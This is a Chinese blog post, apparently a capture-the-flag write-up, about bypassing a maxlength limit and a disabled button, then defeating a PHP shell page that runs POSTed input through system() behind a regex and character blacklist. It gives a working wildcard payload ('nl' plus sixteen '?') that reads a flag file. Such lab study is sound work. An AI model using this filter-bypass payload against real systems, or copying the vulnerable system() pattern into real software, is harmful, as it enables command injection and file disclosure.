首页 > 其他分享 >????

????

时间:2023-08-13 19:55:51浏览次数:19  
标签: 16 cmd sh3ll blacklist php 页面

进入场景后根据提示输入 yulige ,发现只能输入 yuli。打开开发者工具(F12),修改input框中的选项,把 maxlength 参数的值改为一个较大的值(只要大于 yulige 长度即可)。提交按钮被禁用,打开开发者工具,取消 disabled 参数,即可提交。

此时进入maxlenth.php页面,页面中提示 flag不在这,I prepared a shell for you : sh3ll.php ,访问 sh3ll.php
页面内容如下

<?php
error_reporting(0);
highlight_file(__FILE__);
//echo "flag is in fl4g_is_here.php";

$cmd = $_POST['cmd'];
if(preg_match("/[A-Za-ko-z0-9]+/", $cmd)){
    die("hacker!");
}
$blacklist = "~!@#%^$&\/*()()<>《》-_{}[]'/\":,";
        foreach(str_split($blacklist) as $char) {
            if(strchr($cmd, $char) !== false) 
                die('Big Hacker!!');
        }
system($cmd);
?>

可以看到 preg_match("/[A-Za-ko-z0-9]+/", $cmd) 该函数并没有过滤 m、l、n 这三个字母,且 blacklist 该黑名单中并没有过滤 ? 这个通配符。
最终payload:cmd=nl ???????????????? 注意:需要有16个 ? ,因为上述代码中给出 fl4g_is_here.php 具有16个字符。
查看网页源码即可

标签:,16,cmd,sh3ll,blacklist,php,页面
From: https://www.cnblogs.com/Lgr0/p/17627070.html

相关文章